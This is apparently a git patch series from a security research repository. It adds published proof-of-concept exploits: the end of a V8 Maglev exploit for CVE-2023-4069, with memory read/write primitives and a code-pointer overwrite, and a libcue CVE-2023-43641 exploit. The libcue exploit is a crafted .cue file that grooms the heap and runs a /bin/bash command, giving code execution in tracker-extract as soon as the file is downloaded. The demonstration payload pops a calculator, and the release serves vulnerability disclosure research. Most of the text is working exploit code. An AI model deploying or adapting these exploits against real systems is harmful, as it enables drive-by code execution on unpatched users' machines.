2); + oobDblArr2[0] = i32tof(val1, val2); + oobDblArr[dblArrOffset] = oldValue; + return; +} + +class A {} + +var gcSize = 0x4fe00000; + +//version dependent +//Address of corruptedArr, serves as starting point of search, does not need to be too accurate +var arrAddr = 0x42191; +var emptyAddr = 0x219; + +var view = new ArrayBuffer(24); +var dblArr = new Float64Array(view); +var intView = new Uint32Array(view); +var bigIntView = new BigInt64Array(view); + +function func() { + return [1.9553825422107533e-246, 1.9560612558242147e-246, 1.9995714719542577e-246, 1.9533767332674093e-246, 2.6348604765229606e-284]; +} +for (let i = 0; i < 1000; i++) func(0); + +var x = Array; + +class B extends A { + constructor() { + x = new.target; + super(); + } +} +function construct() { + var r = Reflect.construct(B, [], x); + return r; +} + +for (let i = 0; i < 2000; i++) construct(); + +new ArrayBuffer(gcSize); +new ArrayBuffer(gcSize); + +corruptedArr = construct(); +corruptedArr = construct(); + +function getOffset(addr) { + return (addr - emptyAddr)/4 - 2; +} + +function indexToAddr(idx) { + return (idx + 2) * 4 + emptyAddr; +} + +function ftoi32(f) { + dblArr[0] = f; + return [intView[0], intView[1]]; +} + +function i32tof(i1, i2) { + intView[0] = i1; + intView[1] = i2; + return dblArr[0]; +} + +function itof(i) { + bigIntView = BigInt(i); + return dblArr[0]; +} + +function ftoi(f) { + dblArr[0] = f; + return bigIntView[0]; +} + +//Use 1.5 so double representation can be interpreted as SMI to avoid deref crash +var oobDblArr = [0x41, 0x42, 0x51, 0x52, 1.5]; +var oobDblArr2 = [0x41, 0x42, 1.5]; +var oobObjArr = [view, 0x424242]; +oobObjArr[0] = 0x414141; + +var dblIndex = searchDblArrIndex(arrAddr, corruptedArr, 0x40504000/2, 0x40508000/2, arrAddr + 0x1000); + +corruptedArr[dblIndex + 3] = 1; + +let dblAddr = indexToAddr(dblIndex); +dblIndex = searchDblArrIndex(dblAddr, corruptedArr, 0x40504000/2, 0x40508000/2, dblAddr + 0x1000); +console.log("oobDblAddr: " + indexToAddr(dblIndex).toString(16)); +var oobDblIndex = dblIndex; +corruptedArr[dblIndex + 3] = 0x41; +if (dblIndex == null || oobDblArr[0] == 0x41) { + console.log("cannot find dblIndex"); +} else { + corruptedArr[dblIndex - 3] = 0x100; + console.log("oobDblArr new length: " + oobDblArr.length); + dblIndex = searchDblArrIndex(dblAddr, corruptedArr, 0x40504000/2, 0x40508000/2, dblAddr + 0x100); + dblAddr = indexToAddr(dblIndex + 10); + dblIndex = searchDblArrIndex(dblAddr, corruptedArr, 0x40504000/2, 0x40508000/2, dblAddr + 0x100); + console.log("oobDblAddr2: " + indexToAddr(dblIndex).toString(16)); + var oobDbl2Index = dblIndex; + let objIndex = searchObjArrIndex(dblAddr, corruptedArr, dblAddr + 0x100); + console.log("oobObjAddr: " + indexToAddr(objIndex).toString(16)); + var funcAddr = addrOf(func, (objIndex - oobDblIndex) >> 1); + console.log("func Addr: " + funcAddr.toString(16)); + var dblOffset = (oobDbl2Index - oobDblIndex - 5) >> 1; + var codeAddr = read(funcAddr + 0x10, dblOffset)[0]; + console.log("code Addr: " + codeAddr.toString(16)); + var maglevAddr = read(codeAddr + 0x8, dblOffset); + console.log("maglev Addr: " + maglevAddr[0].toString(16) + " " + maglevAddr[1].toString(16)); + write(codeAddr + 0x8, maglevAddr[0] + 0x80 + 2, maglevAddr[1], dblOffset); + func(); +} From 5cc588a43c01afcb92ef62bcac6244666249c27d Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Tue, 17 Oct 2023 15:01:49 +0100 Subject: [PATCH 106/140] Update SecurityExploits/Chrome/v8/CVE_2023_4069/README.md Co-authored-by: Kevin Backhouse --- SecurityExploits/Chrome/v8/CVE_2023_4069/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SecurityExploits/Chrome/v8/CVE_2023_4069/README.md b/SecurityExploits/Chrome/v8/CVE_2023_4069/README.md index 3a97676..c42add2 100644 --- a/SecurityExploits/Chrome/v8/CVE_2023_4069/README.md +++ b/SecurityExploits/Chrome/v8/CVE_2023_4069/README.md @@ -2,7 +2,7 @@ The analysis of this bug can be found [here]( https://github.blog/2023-10-17-getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler). -The exploit here is tested on `v8` version 11.5.150.16, which is the version shipped with Chrome 115.0.5790.98/99, the one before the bug is fixed, on Ubuntu 22.04. I have not tested it on Chrome itself. +The exploit here is tested on `v8` version 11.5.150.16, which is the version shipped with Chrome 115.0.5790.98/99, the one before the bug was fixed, on Ubuntu 22.04. I have not tested it on Chrome itself. To test, check out `v8` at version 11.5.150.16 and compile with the default settings using `tools/dev/gm.py x64.release`. Then open the file `poc.js` with `d8` with the `maglev` flag (Chrome would have enabled this flag already): From 0a8ede65e0ac860d195868b093d3ddcbd00e6997 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Mon, 23 Oct 2023 12:31:40 +0100 Subject: [PATCH 107/140] Complete PoC for libcue CVE-2023-43641 (pop calculator with tracker-extract) --- .../track_set_index_CVE-2023-43641/.gitignore | 1 + .../track_set_index_CVE-2023-43641/Makefile | 7 + .../track_set_index_CVE-2023-43641/README.md | 16 +- .../fedora38.cue | 44691 ++++++++++++++++ .../track_set_index_CVE-2023-43641/lunar.cue | 44691 ++++++++++++++++ .../track_set_index_CVE-2023-43641/mkcue.cpp | 565 + .../track_set_index_CVE-2023-43641/utils.cpp | 97 + .../track_set_index_CVE-2023-43641/utils.h | 57 + 8 files changed, 90123 insertions(+), 2 deletions(-) create mode 100644 SecurityExploits/libcue/track_set_index_CVE-2023-43641/.gitignore create mode 100644 SecurityExploits/libcue/track_set_index_CVE-2023-43641/Makefile create mode 100644 SecurityExploits/libcue/track_set_index_CVE-2023-43641/fedora38.cue create mode 100644 SecurityExploits/libcue/track_set_index_CVE-2023-43641/lunar.cue create mode 100644 SecurityExploits/libcue/track_set_index_CVE-2023-43641/mkcue.cpp create mode 100644 SecurityExploits/libcue/track_set_index_CVE-2023-43641/utils.cpp create mode 100644 SecurityExploits/libcue/track_set_index_CVE-2023-43641/utils.h diff --git a/SecurityExploits/libcue/track_set_index_CVE-2023-43641/.gitignore b/SecurityExploits/libcue/track_set_index_CVE-2023-43641/.gitignore new file mode 100644 index 0000000..c407b35 --- /dev/null +++ b/SecurityExploits/libcue/track_set_index_CVE-2023-43641/.gitignore @@ -0,0 +1 @@ +mkcue diff --git a/SecurityExploits/libcue/track_set_index_CVE-2023-43641/Makefile b/SecurityExploits/libcue/track_set_index_CVE-2023-43641/Makefile new file mode 100644 index 0000000..8ea0ebc --- /dev/null +++ b/SecurityExploits/libcue/track_set_index_CVE-2023-43641/Makefile @@ -0,0 +1,7 @@ +all: mkcue + +clean: + rm mkcue + +mkcue: mkcue.cpp utils.cpp utils.h + g++ -Wall -Wextra mkcue.cpp utils.cpp -o mkcue diff --git a/SecurityExploits/libcue/track_set_index_CVE-2023-43641/README.md b/SecurityExploits/libcue/track_set_index_CVE-2023-43641/README.md index 89b16b6..c370f38 100644 --- a/SecurityExploits/libcue/track_set_index_CVE-2023-43641/README.md +++ b/SecurityExploits/libcue/track_set_index_CVE-2023-43641/README.md @@ -1,5 +1,17 @@ # CVE-2023-43641 -This directory contains a simple PoC for libcue [CVE-2023-43641](https://github.com/lipnitsk/libcue/security/advisories/GHSA-5982-x7hv-r9cj). Downloading [CVE-2023-43641-poc-simple.cue](CVE-2023-43641-poc-simple.cue) should trigger the bug on most GNOME systems, because [tracker-miners](https://gitlab.gnome.org/GNOME/tracker-miners) automatically scans files in `~/Downloads`. If the filename has a `.cue` extension, then tracker-miners uses [libcue](https://github.com/lipnitsk/libcue) to scan the file. The PoC triggers an out-of-bounds array access, which causes the tracker-extract process to crash. +This directory contains three PoCs for libcue [CVE-2023-43641](https://github.com/lipnitsk/libcue/security/advisories/GHSA-5982-x7hv-r9cj). -We are delaying the release of the [full PoC](https://youtu.be/beOwspTnc1Y), which exploits the vulnerability to get code execution in tracker-extract. +The first PoC is [CVE-2023-43641-poc-simple.cue](CVE-2023-43641-poc-simple.cue). Downloading [CVE-2023-43641-poc-simple.cue](CVE-2023-43641-poc-simple.cue) should trigger the bug on most GNOME systems, because [tracker-miners](https://gitlab.gnome.org/GNOME/tracker-miners) automatically scans files in `~/Downloads`. If the filename has a `.cue` extension, then tracker-miners uses [libcue](https://github.com/lipnitsk/libcue) to scan the file. The PoC triggers an out-of-bounds array access, which causes the tracker-extract process to crash (on an unpatched system). + +The second PoC is [lunar.cue](lunar.cue), which exploits the vulnerability to pop a calculator when downloaded on an unpatched Ubuntu 23.04. Here's a [video](https://youtu.be/beOwspTnc1Y) of this PoC. + +The third PoC is [fedora38.cue](fedora38.cue), which pops a calculator when downloaded on an unpatched Fedora 38. + +The second and third PoCs are both generated by [mkcue.cpp](mkcue.cpp), which you can build and run like this: + +```bash +make +./mkcue Ubuntu23_04 > lunar.cue +./mkcue Fedora38 > fedora38.cue +``` diff --git a/SecurityExploits/libcue/track_set_index_CVE-2023-43641/fedora38.cue b/SecurityExploits/libcue/track_set_index_CVE-2023-43641/fedora38.cue new file mode 100644 index 0000000..37189ec --- /dev/null +++ b/SecurityExploits/libcue/track_set_index_CVE-2023-43641/fedora38.cue @@ -0,0 +1,44691 @@ +PERFORMER Kev +TITLE "Kev'z Warez" +FILE pwned.mp3 MP3 + +TRACK 000 AUDIO +MESSAGE "First some [heap feng shui](https://en.wikipedia.org/wiki/Heap_feng_shui): +allocate memory so that all subsequent allocations come from a continguous block of +memory. For example, this string is 251 characters long to use a chunk from tcache +index 15." +TRACK 001 AUDIO +TITLE "A Track is 0x3a8 bytes, so creating many new tracks is a quick way to use lots of memory." +TRACK 002 AUDIO +TITLE "Again " +TRACK 003 AUDIO +TITLE "Again " +TRACK 004 AUDIO +TITLE "Again " +TRACK 005 AUDIO +TITLE "Again " +TRACK 006 AUDIO +TITLE "Again " +TRACK 007 AUDIO +TITLE "Again " +TRACK 008 AUDIO +TITLE "Again " +TRACK 009 AUDIO +TITLE "Again " +TRACK 010 AUDIO +TITLE "Again " +TRACK 011 AUDIO +TITLE "Again " +TRACK 012 AUDIO +TITLE "Again " +TRACK 013 AUDIO +TITLE "Again " +TRACK 014 AUDIO +TITLE "Again " +TRACK 015 AUDIO +TITLE "Again " +TRACK 016 AUDIO +TITLE "Again " +TRACK 017 AUDIO +TITLE "Again " +TRACK 018 AUDIO +TITLE "Again " +TRACK 019 AUDIO +TITLE "Again " +TRACK 020 AUDIO +TITLE "Again " +TRACK 021 AUDIO +TITLE "Again " +TRACK 022 AUDIO +TITLE "Again " +TRACK 023 AUDIO +TITLE "Again " +TRACK 024 AUDIO +TITLE "Again " +TRACK 025 AUDIO +TITLE "Again " +TRACK 026 AUDIO +TITLE "Again " +TRACK 027 AUDIO +TITLE "Again " +TRACK 028 AUDIO +TITLE "Again " +TRACK 029 AUDIO +TITLE "Again " +TRACK 030 AUDIO +TITLE "Again " +TRACK 031 AUDIO +TITLE "Again " +TRACK 032 AUDIO +TITLE "Again " + +TRACK 033 AUDIO +TITLE "Heap Feng Shui: empty the tcache" +COMPOSER "Allocate a chunk from tcache index 2 " +ARRANGER "Allocate a chunk from tcache index 4 " +PERFORMER "Allocate a chunk from tcache index 6 + " +SONGWRITER "Allocate a chunk from tcache index 7 + " +GENRE "Allocate a chunk from tcache index 11 + + " +MESSAGE "The goal here is to ensure that all subsequent allocations come +from a large contiguous block of memory. This string allocates a chunk from +tcache index 13. Doing this 14 times guarantees that the tcache is empty. " + +TRACK 034 AUDIO +TITLE "Copyright (c) 2023 GitHub, Inc." +COMPOSER "[GitHub Security Lab](https://securitylab.github.com/)" +ARRANGER " +This version of the poc is tuned for Fedora 38 +" +PERFORMER "[Kevin Backhouse](https://github.com/kevinbackhouse) + " +SONGWRITER " + " +GENRE "[The Malloc Maleficarum](https://seclists.org/bugtraq/2005/Oct/118). +See also: [how2heap](https://github.com/shellphish/how2heap). + " +MESSAGE "Proof-of-concept exploit for libcue CVE-2023-43641 (GHSL-2023-197): out of bounds +array access in track_set_index. The vulnerability is used to get code execution in GNOME's +tracker-extract. Download this file to pop a calc." + +TRACK 035 AUDIO +TITLE "Never Gonna Give You Up " +COMPOSER "Rick Astley " +ARRANGER " " +PERFORMER " +We're no strangers to love +You know the rules and so do I + " +SONGWRITER " +A full commitment's what I'm thinking of +You wouldn't get this from any other guy + " +GENRE " +I just want to tell you how I'm feeling +Gotta make you understand + + " +MESSAGE " +Never gonna give you up, never gonna let you down +Never gonna run around and desert you +Never gonna make you cry, never gonna say goodbye +Never gonna tell a lie and hurt you + " +TRACK 036 AUDIO +TITLE "Repeat Heap Feng Shui " +COMPOSER " " +ARRANGER " " +PERFORMER " + " +SONGWRITER " + " +GENRE " + + " +MESSAGE " + + " +TRACK 037 AUDIO +TITLE "Repeat Heap Feng Shui " +COMPOSER " " +ARRANGER " " +PERFORMER " + " +SONGWRITER " + " +GENRE " + + " +MESSAGE " + + " +TRACK 038 AUDIO +TITLE "Repeat Heap Feng Shui " +COMPOSER " " +ARRANGER " " +PERFORMER " + " +SONGWRITER " + " +GENRE " + + " +MESSAGE " + + " +TRACK 039 AUDIO +TITLE "Repeat Heap Feng Shui " +COMPOSER " " +ARRANGER " " +PERFORMER " + " +SONGWRITER " + " +GENRE " + + " +MESSAGE " + + " +TRACK 040 AUDIO +TITLE "Repeat Heap Feng Shui " +COMPOSER " " +ARRANGER " " +PERFORMER " + " +SONGWRITER " + " +GENRE " + + " +MESSAGE " + + " +TRACK 041 AUDIO +TITLE "Repeat Heap Feng Shui " +COMPOSER " " +ARRANGER " " +PERFORMER " + " +SONGWRITER " + " +GENRE " + + " +MESSAGE " + + " +TRACK 042 AUDIO +TITLE "Repeat Heap Feng Shui " +COMPOSER " " +ARRANGER " " +PERFORMER " + " +SONGWRITER " + " +GENRE " + + " +MESSAGE " + + " +TRACK 043 AUDIO +TITLE "Repeat Heap Feng Shui " +COMPOSER " " +ARRANGER " " +PERFORMER " + " +SONGWRITER " + " +GENRE " + + " +MESSAGE " + + " +TRACK 044 AUDIO +TITLE "Repeat Heap Feng Shui " +COMPOSER " " +ARRANGER " " +PERFORMER " + " +SONGWRITER " + " +GENRE " + + " +MESSAGE " + + " +TRACK 045 AUDIO +TITLE "Repeat Heap Feng Shui " +COMPOSER " " +ARRANGER " " +PERFORMER " + " +SONGWRITER " + " +GENRE " + + " +MESSAGE " + + " +TRACK 046 AUDIO +TITLE "Repeat Heap Feng Shui " +COMPOSER " " +ARRANGER " " +PERFORMER " + " +SONGWRITER " + " +GENRE " + + " +MESSAGE " + + " +TRACK 047 AUDIO +TITLE "for freeing to tcache index 1" +TITLE "free previous title" +INDEX 4294964412 4294958236 +TRACK 048 AUDIO +TITLE "Allocate previously freed string" +INDEX 4294967268 149 +INDEX 4294964230 4294958248 +TITLE "long string to overwrite low bytes of address " +INDEX 4294955158 69 +FILE pwned.mp3 MP3 +GENRE "set low bytes of info->file P " +TITLE "long string to overwrite low bytes of address 0 " +INDEX 4294955166 53 +FILE pwned.mp3 MP3 +PERFORMER "set low bytes of file->g_class " +INDEX 4294955163 0 +TITLE "long string to overwrite low bytes of address " +INDEX 4294955226 85 +FILE pwned.mp3 MP3 +TITLE "long string to overwrite low bytes of address " +INDEX 4294955054 69 +FILE pwned.mp3 MP3 +TITLE "long string to overwrite low bytes of address " +INDEX 4294955196 277 +FILE pwned.mp3 MP3 +MESSAGE "set low bytes of tcache->entries[15] `" +MESSAGE "kevwozere" +TITLE "long string to overwrite low bytes of address " +INDEX 4294955186 85 +FILE pwned.mp3 MP3 +TITLE "long string to overwrite low bytes of address " +INDEX 4294955188 949 +FILE pwned.mp3 MP3 +TITLE "long string to overwrite low bytes of address 0" +INDEX 4294955198 949 +FILE pwned.mp3 MP3 +TITLE "long title to allocate 0x110-sized chunk. " +TRACK 049 AUDIO +INDEX 4294967243 0 +INDEX 4294967247 1 +INDEX 4294967254 0 +INDEX 4294967255 0 +TRACK 050 AUDIO +TITLE "Overwrite low bytes of track->file.name `" +INDEX 4294967294 277 +FILE "wen poc?" MP3 +TITLE "Overwrite low bytes of track->file.name " +INDEX 14 949 +FILE pwned.mp3 MP3 +TITLE "Overwrite low bytes of track->file.name 0" +INDEX 24 949 +FILE pwned.mp3 MP3 +TITLE "Overwrite low bytes of track->file.name " +INDEX 4294967272 53 +FILE pwned.mp3 MP3 +INDEX 0 4294967295 +INDEX 1 0 +INDEX 1 1879584 +INDEX 14 0 +TRACK 051 AUDIO +FLAGS +TRACK 052 AUDIO +ISRC looooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooog-string-to-allocate-0x110-sized-chunk +TITLE "long title to overwrite low bytes of track->isrc `" +INDEX 4294967294 277 +ISRC short-string +INDEX 0 4294967295 +INDEX 1 0 +INDEX 1 250512 +INDEX 4294967088 0 +INDEX 4294967090 0 +INDEX 4294967271 100 +INDEX 4294967273 0 +INDEX 4294967280 80 +TRACK 053 AUDIO +INDEX 4294963786 4294958281 +TRACK 054 AUDIO +INDEX 4294967279 0 +INDEX 4294963614 4294958241 +TRACK 055 AUDIO +INDEX 4294967282 0 +INDEX 4294963442 3837 +TITLE "Temporary long title for tcache index 6 " +TITLE "short title" +TRACK 056 AUDIO +TITLE "Use long title from tcache index 6 " +INDEX 4294967258 197 +TITLE " /bin/bash" +INDEX 4294963250 3838 +TRACK 057 AUDIO +INDEX 4294967279 25389 +INDEX 4294963078 3839 +TITLE "Temporary long title for tcache index 6 " +TITLE "eta son" +TRACK 058 AUDIO +TITLE "Use long title from tcache index 6 " +INDEX 4294967258 357 +TITLE "This command is going to get called repeatedly in an infinite loop, so send SIGSTOP to avoid a fork-bomb and use flock so only one calculator starts. killall -SIGSTOP tracker-extract-3; flock -w 3 ~/Downloads/pwned.lock -c 'gnome-calculator -e 1337' && (sleep 10; rm ~/Downloads/pwned.lock; killall -9 tracker-extract-3)" +INDEX 4294962886 4294958253 +PERFORMER "Temporary long name for tcache index 6 " +PERFORMER "short name" +TRACK 059 AUDIO +INDEX 4294962694 4586 +TITLE "Use chunk from tcache index 6 " +INDEX 4294967258 197 +TITLE "short title" +TRACK 060 AUDIO +INDEX 4294962518 4585 +TITLE " " +TRACK 1337 AUDIO +INDEX 4294967290 0 +TITLE "Use the chunk that is still in tcache index 2" +MESSAGE "pop that calc " +REM DATE "1992 AD" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 